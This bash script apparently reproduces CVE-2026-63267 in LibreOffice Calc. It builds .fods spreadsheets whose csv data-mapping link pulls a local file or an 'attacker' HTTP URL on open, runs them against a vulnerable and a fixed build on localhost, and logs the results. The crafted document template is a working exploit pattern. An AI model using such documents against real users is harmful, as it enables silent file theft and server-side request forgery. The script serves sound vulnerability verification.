#!/bin/bash
# CVE-2026-63267 - LFI and GET SSRF via calcext:data-mappings (csv provider)
# Reproduction: opening a crafted LibreOffice Calc document fetches a persisted
# external csv data link at load time. Vulnerable: LibreOffice 26.2.4.2.
# Fixed: LibreOffice 26.2.5.2 (fetch gated behind link-update control).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
LO_ROOT="$ART/libreoffice"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$LO_ROOT"
cd "$ROOT"

VULN_VER="26.2.4.2"
FIX_VER="26.2.5.2"
VULN_URL="https://downloadarchive.documentfoundation.org/libreoffice/old/${VULN_VER}/deb/x86_64/LibreOffice_${VULN_VER}_Linux_x86-64_deb.tar.gz"
FIX_URL="https://downloadarchive.documentfoundation.org/libreoffice/old/${FIX_VER}/deb/x86_64/LibreOffice_${FIX_VER}_Linux_x86-64_deb.tar.gz"

LFI_MARKER="CVE-2026-63267_LFI_SECRET_9f4d2c"
SSRF_TOKEN_PREFIX="CVE-2026-63267-SSRF"
HTTP_PORT=8931

manifest_init() {
cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "open_document",
  "entrypoint_detail": "Open a crafted .fods Calc document whose calcext:data-mapping (org.libreoffice.calc.csv provider) xlink:href points at a local file (LFI) or attacker HTTP URL (SSRF); document load fetches the link",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": ["libreoffice-calc", "python3-http-server"],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": "initialized; updated before exit"
}
JSON
}
manifest_init

# ---------------------------------------------------------------------------
# 1. Obtain and extract LibreOffice builds (vulnerable + fixed)
# ---------------------------------------------------------------------------
fetch_tarball() { # url dest
  local url="$1" dest="$2"
  if [ ! -s "$dest" ]; then
    echo "[setup] downloading $url"
    curl -fsSL --retry 3 --max-time 900 -o "$dest" "$url"
  fi
  sha256sum "$dest"
}

extract_lo() { # version url destdir
  local ver="$1" url="$2" dest="$3"
  local tb="$ART/LibreOffice_${ver}_Linux_x86-64_deb.tar.gz"
  if [ -x "$dest/opt/libreoffice26.2/program/soffice" ]; then
    echo "[setup] LibreOffice $ver already extracted at $dest"
    return 0
  fi
  fetch_tarball "$url" "$tb"
  echo "[setup] extracting LibreOffice $ver"
  local tmp
  tmp="$(mktemp -d)"
  tar xzf "$tb" -C "$tmp"
  mkdir -p "$dest"
  local debdir
  debdir="$(find "$tmp" -maxdepth 2 -type d -name DEBS | head -1)"
  # Only the components needed for headless Calc: ure, core, calc
  local deb
  for deb in "$debdir"/libreoffice26.2-ure_*.deb \
             "$debdir"/libreoffice26.2_*.deb \
             "$debdir"/libobasis26.2-core_*.deb \
             "$debdir"/libobasis26.2-calc_*.deb \
             "$debdir"/libreoffice26.2-calc_*.deb \
             "$debdir"/libobasis26.2-en-us_*.deb \
             "$debdir"/libreoffice26.2-en-us_*.deb; do
    [ -e "$deb" ] || { echo "[setup] missing deb: $deb"; return 1; }
    dpkg-deb -x "$deb" "$dest"
  done
  rm -rf "$tmp"
  [ -x "$dest/opt/libreoffice26.2/program/soffice" ]
}

VULN_DIR="$LO_ROOT/vuln-$VULN_VER"
FIX_DIR="$LO_ROOT/fixed-$FIX_VER"
extract_lo "$VULN_VER" "$VULN_URL" "$VULN_DIR"
extract_lo "$FIX_VER" "$FIX_URL" "$FIX_DIR"

VULN_SOFFICE="$VULN_DIR/opt/libreoffice26.2/program/soffice"
FIX_SOFFICE="$FIX_DIR/opt/libreoffice26.2/program/soffice"

# Runtime shared-library dependencies (no-op if already present)
if ! "$VULN_SOFFICE" --version >/dev/null 2>&1; then
  echo "[setup] installing runtime libraries"
  sudo apt-get update -y >>"$LOGS/apt.log" 2>&1 || true
  sudo apt-get install -y libxinerama1 libfontconfig1 libfreetype6 \
    libxrender1 libsm6 libice6 libxext6 libx11-6 libxcb1 libxau6 libxdmcp6 \
    libdbus-1-3 >>"$LOGS/apt.log" 2>&1 || true
  sudo apt-get install -y libssl3t64 libnss3 libnspr4 libcairo2 \
    libglib2.0-0t64 libx11-xcb1 libcups2t64 >>"$LOGS/apt.log" 2>&1 \
  || sudo apt-get install -y libssl3 libnss3 libnspr4 libcairo2 \
    libglib2.0-0 libx11-xcb1 libcups2 >>"$LOGS/apt.log" 2>&1 || true
fi

VULN_VERSION_OUT="$(SAL_USE_VCLPLUGIN=svp timeout 60 "$VULN_SOFFICE" --headless --version 2>&1 | head -1 || true)"
FIX_VERSION_OUT="$(SAL_USE_VCLPLUGIN=svp timeout 60 "$FIX_SOFFICE" --headless --version 2>&1 | head -1 || true)"
echo "[setup] vulnerable build: $VULN_VERSION_OUT"
echo "[setup] fixed build:      $FIX_VERSION_OUT"
echo "$VULN_VERSION_OUT" | grep -q "26.2.4" || { echo "[FAIL] vulnerable build mismatch"; exit 2; }
echo "$FIX_VERSION_OUT" | grep -q "26.2.5" || { echo "[FAIL] fixed build mismatch"; exit 2; }

# ---------------------------------------------------------------------------
# 2. Craft malicious documents + local secret + attacker HTTP server
# ---------------------------------------------------------------------------
WORK="$ART/work"
rm -rf "$WORK"
mkdir -p "$WORK"

# Local "secret" file the document will read into the sheet (LFI proof).
SECRET_FILE="$WORK/local_secret.csv"
cat > "$SECRET_FILE" <<EOF
${LFI_MARKER},1337
EOF

mk_fods() { # href out
  cat > "$2" <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" office:version="1.3" office:mimetype="application/vnd.oasis.opendocument.spreadsheet">
 <office:body>
  <office:spreadsheet>
   <table:table table:name="Sheet1">
    <table:table-column/>
    <table:table-row>
     <table:table-cell office:value-type="string"><text:p>SAVED_SENTINEL_NOT_FETCHED</text:p></table:table-cell>
    </table:table-row>
   </table:table>
   <table:database-ranges>
    <table:database-range table:name="myImport" table:target-range-address="Sheet1.A1:Sheet1.A1"/>
   </table:database-ranges>
   <calcext:data-mappings>
    <calcext:data-mapping xlink:href="$1" calcext:provider="org.libreoffice.calc.csv" calcext:frequency="0" calcext:id="" calcext:database-name="myImport"/>
   </calcext:data-mappings>
  </office:spreadsheet>
 </office:body>
</office:document>
EOF
}

# Attacker HTTP server: serves a marker CSV and logs every request line.
HTTPD_PY="$WORK/httpd.py"
cat > "$HTTPD_PY" <<'PYEOF'
import http.server, sys, datetime
log_path, port = sys.argv[1], int(sys.argv[2])
MARKER = sys.argv[3]
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        with open(log_path, "a") as f:
            f.write("%s GET %s from %s\n" % (datetime.datetime.utcnow().isoformat(), self.path, self.client_address[0]))
        body = ("%s_SERVED,42\n" % MARKER).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/csv")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a):
        pass
http.server.HTTPServer(("127.0.0.1", port), H).serve_forever()
PYEOF

HTTP_LOG="$LOGS/http-server.log"
: > "$HTTP_LOG"
python3 "$HTTPD_PY" "$HTTP_LOG" "$HTTP_PORT" "$SSRF_TOKEN_PREFIX" &
HTTP_PID=$!
trap 'kill $HTTP_PID 2>/dev/null || true' EXIT
sleep 1
# healthcheck: server answers and logs
curl -fsS --max-time 5 "http://127.0.0.1:$HTTP_PORT/healthcheck.csv" >/dev/null
grep -q "healthcheck.csv" "$HTTP_LOG" && echo "[setup] attacker HTTP server healthy on 127.0.0.1:$HTTP_PORT"

# ---------------------------------------------------------------------------
# 3. Attempt runner
# ---------------------------------------------------------------------------
run_attempt() { # role(vuln|fixed) kind(lfi|ssrf) attempt soffice
  local role="$1" kind="$2" n="$3" soffice="$4"
  local token="${role}-${kind}-${n}"
  local href doc outdir log csv
  if [ "$kind" = "lfi" ]; then
    href="file://$SECRET_FILE"
  else
    href="http://127.0.0.1:$HTTP_PORT/${SSRF_TOKEN_PREFIX}-${token}.csv"
  fi
  doc="$WORK/doc-${token}.fods"
  outdir="$WORK/out-${token}"
  log="$LOGS/${token}.log"
  mkdir -p "$outdir"
  mk_fods "$href" "$doc"
  echo "[run] $token: opening $doc (href=$href) with $soffice"
  local profile
  profile="$(mktemp -d)"
  SAL_USE_VCLPLUGIN=svp timeout 150 "$soffice" --headless --norestore --nologo \
    -env:UserInstallation="file://$profile" \
    --convert-to csv:"Text - txt - csv (StarCalc)" --outdir "$outdir" "$doc" \
    >"$log" 2>&1 || echo "[run] $token: soffice exit=$?" >>"$log"
  rm -rf "$profile"
  csv="$outdir/doc-${token}.csv"
  if [ -f "$csv" ]; then
    cp "$csv" "$REPRO_DIR/sheet-${token}.csv"
    echo "[run] $token: sheet content: $(cat "$csv" | head -3)"
  else
    echo "[run] $token: no converted csv produced"
  fi
}

echo "=== VULNERABLE BUILD ($VULN_VER) ==="
run_attempt vuln lfi 1 "$VULN_SOFFICE"
run_attempt vuln lfi 2 "$VULN_SOFFICE"
run_attempt vuln ssrf 1 "$VULN_SOFFICE"
run_attempt vuln ssrf 2 "$VULN_SOFFICE"

echo "=== FIXED BUILD ($FIX_VER) ==="
run_attempt fixed lfi 1 "$FIX_SOFFICE"
run_attempt fixed lfi 2 "$FIX_SOFFICE"
run_attempt fixed ssrf 1 "$FIX_SOFFICE"
run_attempt fixed ssrf 2 "$FIX_SOFFICE"

# Give the HTTP server a moment, then snapshot the request log as proof.
sleep 2
kill $HTTP_PID 2>/dev/null || true
trap - EXIT
cp "$HTTP_LOG" "$REPRO_DIR/http-server-final.log"

# ---------------------------------------------------------------------------
# 4. Evaluate
# ---------------------------------------------------------------------------
check_lfi_vuln() { grep -q "$LFI_MARKER" "$REPRO_DIR/sheet-vuln-lfi-$1.csv" 2>/dev/null; }
check_lfi_fixed() { [ -f "$REPRO_DIR/sheet-fixed-lfi-$1.csv" ] && ! grep -q "$LFI_MARKER" "$REPRO_DIR/sheet-fixed-lfi-$1.csv"; }
check_ssrf_vuln() { grep -q "${SSRF_TOKEN_PREFIX}-vuln-ssrf-$1" "$REPRO_DIR/http-server-final.log"; }
check_ssrf_fixed() { ! grep -q "${SSRF_TOKEN_PREFIX}-fixed-ssrf-$1" "$REPRO_DIR/http-server-final.log"; }

VULN_LFI=0; VULN_SSRF=0; FIXED_LFI_CLEAR=0; FIXED_SSRF_CLEAR=0
for n in 1 2; do
  check_lfi_vuln $n && VULN_LFI=$((VULN_LFI+1)) || true
  check_ssrf_vuln $n && VULN_SSRF=$((VULN_SSRF+1)) || true
  check_lfi_fixed $n && FIXED_LFI_CLEAR=$((FIXED_LFI_CLEAR+1)) || true
  check_ssrf_fixed $n && FIXED_SSRF_CLEAR=$((FIXED_SSRF_CLEAR+1)) || true
done

echo "[verdict] vulnerable LFI hits:    $VULN_LFI/2"
echo "[verdict] vulnerable SSRF hits:   $VULN_SSRF/2"
echo "[verdict] fixed LFI clean:        $FIXED_LFI_CLEAR/2"
echo "[verdict] fixed SSRF clean:       $FIXED_SSRF_CLEAR/2"

TARGET_DIGEST="$(sha256sum "$ART/LibreOffice_${VULN_VER}_Linux_x86-64_deb.tar.gz" | awk '{print $1}')"
RUNTIME_DIGEST="$(sha256sum "$ART/LibreOffice_${FIX_VER}_Linux_x86-64_deb.tar.gz" | awk '{print $1}')"

write_manifest() { # reached(bool) note
  python3 - "$1" "$2" "$TARGET_DIGEST" "$RUNTIME_DIGEST" <<'PYEOF'
import json, hashlib, os, sys
reached, note, tdigest, rdigest = sys.argv[1] == "true", sys.argv[2], sys.argv[3], sys.argv[4]
root = os.environ["PRUVA_ROOT"]
repro = os.path.join(root, "repro")
arts, shas = [], {}
for name in sorted(os.listdir(repro)):
    if name.startswith("sheet-") or name == "http-server-final.log":
        rel = "repro/" + name
        p = os.path.join(repro, name)
        arts.append(rel)
        shas[rel] = hashlib.sha256(open(p, "rb").read()).hexdigest()
for name in sorted(os.listdir(os.path.join(root, "logs"))):
    if name.startswith(("vuln-", "fixed-")) and name.endswith(".log"):
        rel = "logs/" + name
        arts.append(rel)
        shas[rel] = hashlib.sha256(open(os.path.join(root, "logs", name), "rb").read()).hexdigest()
m = {
    "entrypoint_kind": "open_document",
    "entrypoint_detail": "Open a crafted .fods Calc document whose calcext:data-mapping (org.libreoffice.calc.csv provider) xlink:href points at a local file (LFI) or attacker HTTP URL (SSRF); document load fetches the link",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": reached,
    "runtime_stack": ["libreoffice-calc-26.2.4.2", "libreoffice-calc-26.2.5.2", "python3-http-server"],
    "target_identity": {
        "repository_url": "https://github.com/libreoffice/core",
        "target_digest": tdigest,
        "runtime_digest": rdigest,
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": arts,
    "artifact_sha256": shas,
    "notes": note,
}
with open(os.path.join(repro, "runtime_manifest.json"), "w") as f:
    json.dump(m, f, indent=2)
PYEOF
}

if [ "$VULN_LFI" -eq 2 ] && [ "$VULN_SSRF" -eq 2 ] && [ "$FIXED_LFI_CLEAR" -eq 2 ] && [ "$FIXED_SSRF_CLEAR" -eq 2 ]; then
  echo "[verdict] CVE-2026-63267 CONFIRMED: vulnerable build performed LFI + attacker-directed GET on document open; fixed build did not"
  write_manifest true "vulnerable 26.2.4.2 fetched file:// (LFI into sheet) and http:// (GET SSRF) data-mapping links on load in 2/2 attempts each; fixed 26.2.5.2 did not fetch either in 2/2 attempts"
  exit 0
fi

echo "[verdict] NOT fully confirmed"
write_manifest false "vuln_lfi=$VULN_LFI/2 vuln_ssrf=$VULN_SSRF/2 fixed_lfi_clear=$FIXED_LFI_CLEAR/2 fixed_ssrf_clear=$FIXED_SSRF_CLEAR/2"
exit 1
